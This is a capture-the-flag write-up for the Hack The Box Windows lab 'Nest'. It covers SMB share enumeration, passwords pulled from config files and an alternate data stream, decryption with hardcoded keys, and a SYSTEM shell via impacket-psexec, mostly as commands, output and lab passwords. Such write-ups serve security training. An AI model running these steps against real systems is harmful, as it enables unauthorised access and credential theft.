Nest Writeup

26 February 2023 #CTF #HTB #box #easy #windows

nest info


One nmap a day keeps the vulnerabilities away:

$ sudo nmap -n -Pn -p- -oN -T4 enum/fulltcp.nmap
445/tcp  open  microsoft-ds syn-ack ttl 127
4386/tcp open  unknown      syn-ack ttl 127
$ sudo nmap -n -Pn -sCV -p 445,4386 -oN enum/scripts-tcp.nmap -T4
445/tcp  open  microsoft-ds?
4386/tcp open  unknown
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: 
|     Reporting Service V1.2
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     Reporting Service V1.2
|     Unrecognised command
|   Help: 
|     Reporting Service V1.2
|     This service allows users to run queries against databases using the legacy HQK format
|     LIST
|     SETDIR <Directory_Name>
|     RUNQUERY <Query_ID>
|     DEBUG <Password>
|_    HELP <Command>
Host script results:
| smb2-time: 
|   date: 2023-02-26T17:23:48
|_  start_date: 2023-02-26T17:01:31
| smb2-security-mode: 
|   210: 
|_    Message signing enabled but not required


Let's start by listing the shares:

$ smbclient -NL

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Data            Disk
        IPC$            IPC       Remote IPC
        Secure$         Disk
        Users           Disk

There's 3 non standard shares: Data, Secure$ and Users.

We should mount the shares locally so it is a bit easier to work with:

$ mkdir -p smb/{data,secure,users}
$ sudo mount -t cifs -o username=asdf,password=asdf '//$' smb/secure
$ sudo mount -t cifs -o username=asdf,password=asdf // smb/users
$ sudo mount -t cifs -o username=asdf,password=asdf // smb/data

Secure$ Share

We can access the Secure$ share anonymously, but we can't do much with it:

$ smbclient -N '//$'
Try "help" to get a list of possible commands.
smb: \> ls
smb: \> put test.txt
NT_STATUS_ACCESS_DENIED opening remote file \test.txt
smb: \> get *
NT_STATUS_OBJECT_NAME_INVALID opening remote file \*

We can't list contents or write files, but we may be able to read files if we know the path.

Users Share

We can access the Users share, but we can't view any folder:

$ smbclient -N //
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jan 26 00:04:21 2020
  ..                                  D        0  Sun Jan 26 00:04:21 2020
  Administrator                       D        0  Fri Aug  9 17:08:23 2019
  C.Smith                             D        0  Sun Jan 26 08:21:44 2020
  L.Frost                             D        0  Thu Aug  8 19:03:01 2019
  R.Thompson                          D        0  Thu Aug  8 19:02:50 2019
  TempUser                            D        0  Thu Aug  8 00:55:56 2019

smb: \> ls TempUser\
smb: \> ls C.Smith\

Data Share

In Data, we have access to 2 files:

$ find smb/data -type f 2> /dev/null
smb/data/Shared/Maintenance/Maintenance Alerts.txt
smb/data/Shared/Templates/HR/Welcome Email.txt

The welcome email has some creds:

We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location:

If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019

Thank you


Let's unmount and remount the shares with the TempUser account:

$ sudo umount -R smb/{users,data,secure}
$ sudo mount -t cifs -o username=TempUser,password=welcome2019 // smb/users
$ sudo mount -t cifs -o username=TempUser,password=welcome2019 // smb/data
$ sudo mount -t cifs -o username=TempUser,password=welcome2019 '//$' smb/secure

Now we can view more files:

$ find smb -type f 2> /dev/null
smb/users/TempUser/New Text Document.txt
smb/data/IT/Configs/RU Scanner/RU_config.xml
smb/data/Shared/Maintenance/Maintenance Alerts.txt
smb/data/Shared/Templates/HR/Welcome Email.txt

In smb/data/IT/Configs/RU Scanner/RU_config.xml, there is what looks like an encrypted password for the c.smith user:

<?xml version="1.0"?>
<ConfigFile xmlns:xsi="" xmlns:xsd="">

We don't know what to do with it yet, but definitely interesting.

In smb/data/IT/Configs/NotepadPlusPlus/config.xml there's a history of previously opened files:

    <History nbMaxFile="15" inSubMenu="no" customLength="-1">
        <File filename="C:\windows\System32\drivers\etc\hosts"/>
        <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt"/>
        <File filename="C:\Users\C.Smith\Desktop\todo.txt"/>

We see a file in the Secure$ share, inside the IT/Carl folder. Let's check if we can access this directory:

 $ ls smb/secure/IT/Carl
 Docs   Reports  'VB Projects'

VB Project

There's only 1 VB Project:

$ ls 'smb/secure/IT/Carl/VB Projects/WIP/RU'
RUScanner  RUScanner.sln

In Utils.vb there's a Decrypt function:

Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)

This might be what we need to decrypt the password we found earlier.

We'll copy the RUScanner directory and the sln file to a Windows VM in order to run it in Visual Studio.

After launching the project in Visual Studio, we can comment out the first 2 lines of the main function (in Module1.vb) and use the DecryptString function to decrypt the password we found in the config file:

main function

Debug.WriteLine() will print the password on the 'Output' console:

decrypted password


With c.smith's password we can (once again) re-mount the shares to see if we have access to other files:

$ find smb/ -type f 2> /dev/null
smb/users/C.Smith/HQK Reporting/AD Integration Module/HqkLdap.exe
smb/users/C.Smith/HQK Reporting/Debug Mode Password.txt
smb/users/C.Smith/HQK Reporting/HQK_Config_Backup.xml

Debug Mode Password.txt has a size of 0 bytes, but if we look at it in smbclient and use the allinfo command, we see it has an alternate data stream:

smb: \C.smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    Fri Aug  9 01:06:12 AM 2019 CEST
access_time:    Fri Aug  9 01:06:12 AM 2019 CEST
write_time:     Fri Aug  9 01:08:17 AM 2019 CEST
change_time:    Wed Jul 21 08:47:12 PM 2021 CEST
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes

The stream is called Password, let's download it:

smb: \C.smith\HQK Reporting\> get "Debug Mode Password.txt":Password
$ cat 'Debug Mode Password.txt:Password'

Custom Service (port 4386)

Let's see what this custom service is about:

$ nc -C 4386

HQK Reporting Service V1.2


This service allows users to run queries against databases using the legacy HQK format


SETDIR <Directory_Name>
DEBUG <Password>
HELP <Command>

Note that we have to use the -C flag to make nc send a \r\n instead of a \n when we press Enter (Windows likes it that way).

We can list files in the current directory with the list command and we can change directories with the setdir command.

After entering debug mode we have some more commands:

>debug WBQ201953D8w

Debug mode enabled. Use the HELP command to view additional commands that are now available

This service allows users to run queries against databases using the legacy HQK format


SETDIR <Directory_Name>
DEBUG <Password>
HELP <Command>

The showquery command enables us to read files. After browsing through the filesystem, we come accros an interesting file in ../LDAP:


Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command


[1]   HqkLdap.exe
[2]   Ldap.conf

Current Directory: LDAP
>showquery 2

BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local

The Administrator's password is encrypted in a similar fashion as we saw in the 'RUScanner' config file.


To understand how the password is being used by this HqkLdap.exe executable, we'll transfer it to a Windows VM (again) and analyze it with dnSpy:

main function

The main function will take the config file specified as an argument, iterate over the lines and set variables. The most interesting part is when the line starts with 'Password=' it will call this DS function:

decrypt string function

It looks a lot like the DecryptString function in the Visual Basic project. Since it uses .NET, the APIs are the same so we can modify the DecryptString function to use the key and salt from the HqkLdap.exe executable:

change decryptstring function

Call it with the encrypted administrator password:

main function

And boom we have it in clear text:

administrator password

Administrator Access

With the administrator's password, we can get a shell with psexec:

$ impacket-psexec 'administrator:XtH4nkS4Pl4y1nGX@'
C:\Windows\system32> whoami
nt authority\system

Key Takeaways